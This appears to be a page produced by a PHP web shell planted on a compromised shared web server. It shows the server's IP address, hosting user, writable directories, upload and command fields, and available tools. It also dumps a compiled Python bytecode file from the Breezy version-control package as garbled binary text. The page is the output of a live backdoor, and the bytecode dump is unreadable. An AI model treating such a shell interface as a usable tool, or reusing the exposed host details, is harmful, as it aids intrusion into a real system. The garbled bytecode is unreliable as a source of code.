403Webshell
Server IP : 217.160.0.244  /  Your IP : 216.73.217.138
Web Server : Apache
System : Linux infong-eu155 4.4.400-icpu-108 #2 SMP Wed Feb 11 11:51:01 UTC 2026 x86_64
User : u100174116 ( 6746176)
PHP Version : 8.5.10
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/breezy/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/breezy/__pycache__/bedding.cpython-313.pyc
�

p��gl%���SrSSKrSSKrSSKJr \"\"5S5 SSKJr SSjrSrS	r	S
r
SrSrS
r
SrSrSrSSjrSrSrg)zBFunctions for deriving user configuration from system environment.�N�)�lazy_importzD
from breezy import (
    osutils,
    trace,
    win32utils,
    )
)�errorsc���Uc
[5n[RRU5(d�[RR	U5n[RRU5(dA[
R
SU5 [R"U5 [RU5 [
R
SU5 [R"U5 [RU5 gg)z�Make sure a configuration directory exists.

This makes sure that the directory exists.
On windows, since configuration directories are 2 levels deep,
it makes sure both the directory and the parent directory exists.
Nz$creating config parent directory: %rzcreating config directory: %r)
�
config_dir�os�path�isdir�dirname�trace�mutter�mkdir�osutils�copy_ownership_from_path)r	�
parent_dirs  �0/usr/lib/python3/dist-packages/breezy/bedding.py�ensure_config_dir_existsr&s����|��|��
�7�7�=�=�����W�W�_�_�T�*�
��w�w�}�}�Z�(�(��L�L�?��L��H�H�Z� ��,�,�Z�8�
���4�d�;�
������(�(��.��c��[RRS5n[RS:XaEUc[
R
5nUc[
R5n[RUSS5$Uc�[RRS5nUc([R[R5S5n[RUS5n[RU5(a&[RSRU55 U$[R5n[RUS5$)	a(Return per-user configuration directory as unicode string.

By default this is %APPDATA%/bazaar/2.0 on Windows, ~/.bazaar on Mac OS X
and Linux.  On Mac OS X and Linux, if there is a $XDG_CONFIG_HOME/bazaar
directory, that will be used instead

TODO: Global option --config-dir to override this.
�BZR_HOME�win32�bazaarz2.0�XDG_CONFIG_HOME�.configz(Using configuration in XDG directory {}.z.bazaar)r�environ�get�sys�platform�
win32utils�get_appdata_location�get_home_locationr�pathjoin�
_get_home_dirr
rr
�format)�base�xdg_dirs  r�bazaar_config_dirr':s����:�:�>�>�*�%�D�
�|�|�w���<��2�2�4�D��<��/�/�1�D�����h��6�6��|��*�*�.�.�!2�3���?��&�&�w�'<�'<�'>�	�J�G��"�"�7�H�5���=�=��!�!��L�L�C�J�J�7�S�T��N��$�$�&�����D�)�,�,rc�8�[RRS5n[RS:Xa%Uc[
R
5nUc[S5eUcJ[RRS5nUc([R[R5S5n[RUS5n[RU5(aUS4$[5n[RU5(a[RSU5 US4$US4$)	�
Return per-user configuration directory as unicode string.

By default this is %APPDATA%/breezy on Windows, $XDG_CONFIG_HOME/breezy on
Mac OS X and Linux. If the breezy config directory doesn't exist but
the bazaar one (see bazaar_config_dir()) does, use that instead.
�BRZ_HOMErz$Unable to determine AppData locationrr�breezyz)Using Bazaar configuration directory (%s)r)rrrrrrr �RuntimeErrorrr"r#r
r'rr
)r%�
breezy_dir�
bazaar_dirs   r�_config_dirr/Vs����:�:�>�>�*�%�D�
�|�|�w���<��2�2�4�D��<��E�F�F��|��z�z�~�~�/�0���<��#�#�G�$9�$9�$;�Y�G�D��!�!�$��1�J��}�}�Z� � ��H�%�%�"�$�J��}�}�Z� � �
���@�*�M��H�%�%���!�!rc��[5S$)r)r)r/�rrrrys���=���rc�~�[5upUS:Xa[RUS5$[RUS5$)�0Return per-user configuration ini file filename.rzbazaar.confzbreezy.conf)r/rr")r	�kinds  r�config_pathr5�s9����J�D��x������m�4�4�����m�4�4rc�>�[R[5S5$)r3zlocations.conf�rr"rr1rr�locations_config_pathr8�s�����J�L�*:�;�;rc�>�[R[5S5$)�1Return per-user authentication ini file filename.zauthentication.confr7r1rr�authentication_config_pathr;�s�����J�L�*?�@�@rc�>�[R[5S5$)r:�ignorer7r1rr�user_ignore_config_pathr>�s�����J�L�(�3�3rc��[RS:Xa[R[	5S5$[
RRSS5$)z�Return the directory name to store crash files.

This doesn't implicitly create it.

On Windows it's in the config directory; elsewhere it's /var/crash
which may be monitored by apport.  It can be overridden by
$APPORT_CRASH_DIR.
r�Crash�APPORT_CRASH_DIRz
/var/crash)rrrr"rrrrr1rr�	crash_dirrB�s=���|�|�w�����
��g�6�6��z�z�~�~�0�,�?�?rc��[RRS5n[RS;a/Uc[
R
5nUc[
R5nOJ[RRS5nUc([R[R5S5n[RUS5n[RRU5(d[R"U5 U$)z"Return the cache directory to use.r*r�XDG_CACHE_HOMEz.cacher+)rrrrrr�get_local_appdata_locationr!rr"r#r	�exists�makedirs)r%�	cache_dirs  rrHrH�s���
�:�:�>�>�*�%�D�
�|�|�w���<��8�8�:�D��<��/�/�1�D���z�z�~�~�.�/���<��#�#�G�$9�$9�$;�X�F�D�� � ��x�0�I��7�7�>�>�)�$�$�
���I���rc���[RS:Xag[U5nUR	5R5nUUR
5 $![a gf=f!UR
5 f=f)z^If possible, return the assumed default email domain.

:returns: string mail domain, or None.
rN)rr�open�OSError�readline�strip�close)�
mailname_file�f�domains   r�_get_default_mail_domainrR�sg��
�|�|�w�������������#�#�%���	���	��
�����	
���	�s�A�A#�
A �A �#A5c�4�[RRS5nU(aU$[RRS5nU(aU$[5upU(aU(aSR	X5$U(aU$[
R"5e)N�	BRZ_EMAIL�EMAILz{} <{}>)rrr�
_auto_user_idr$r�NoWhoami)�v�name�emails   r�
default_emailr[�sj��
�
�
���{�#�A����
�
�
���w��A�����/�K�D�������,�,�	���
�/�/�
�rc�P�[RS:Xag[5nU(dgSSKn[R
"5nUR
U5nURn[U[5(aURS5nSnUR$n[U[5(aURW5nUR'S5nUS	:XaUnOUSUnX�S
-U-4$![a [RSU5 gf=f![a^ [R!5nURU5nN�![a( [RSR#U55 gf=ff=f![a' [RSR#U55 gf=f)a�Calculate automatic user identification.

:returns: (realname, email), either of which may be None if they can't be
determined.

Only used when none is set in the environment or the id file.

This only returns an email address if we can be fairly sure the
address is reasonable, ie if /etc/mailname is set on unix.

This doesn't use the FQDN as the default domain because that may be
slow, and it doesn't use the hostname alone because that's not normally
a reasonable address.
r)NNrNzno passwd entry for uid %d?zutf-8zcannot decode passwd entry {}�,����@)rrrR�pwdr�getuid�getpwuid�KeyErrorrr
�pw_gecos�
isinstance�bytes�decode�UnicodeErrorr�get_user_encodingr$�pw_name�find)	�default_mail_domainr`�uid�w�gecos�encoding�username�comma�realnames	         rrVrV�s����|�|�w���2�4�����
�)�)�+�C���L�L����
�J�J�E��%����		"��L�L��)�E��H��y�y�H��(�E�"�"�	����x�0�H�

�J�J�s�O�E���{�����%�=����n�':�:�;�;��G��
���2�C�8�����	"�
"�"�4�4�6�����X�.����
"����<�C�C�A�F�G�!�
"��		"���	��L�L�8�?�?��B�C��	�sN�C#�5D	�*E4�# D�D�	
E1�%D;�;.E-�)E1�,E-�-E1�4.F%�$F%)N)z
/etc/mailname)�__doc__rrr�globals�rrr'r/rr5r8r;r>rBrHrRr[rVr1rr�<module>rwsp��$I�	�
�$���I��	��/�(-�8 "�F�5�<�
A�
4�
@�"�,�&�@<r

Youez - 2016 - github.com/yon3zu
LinuXploit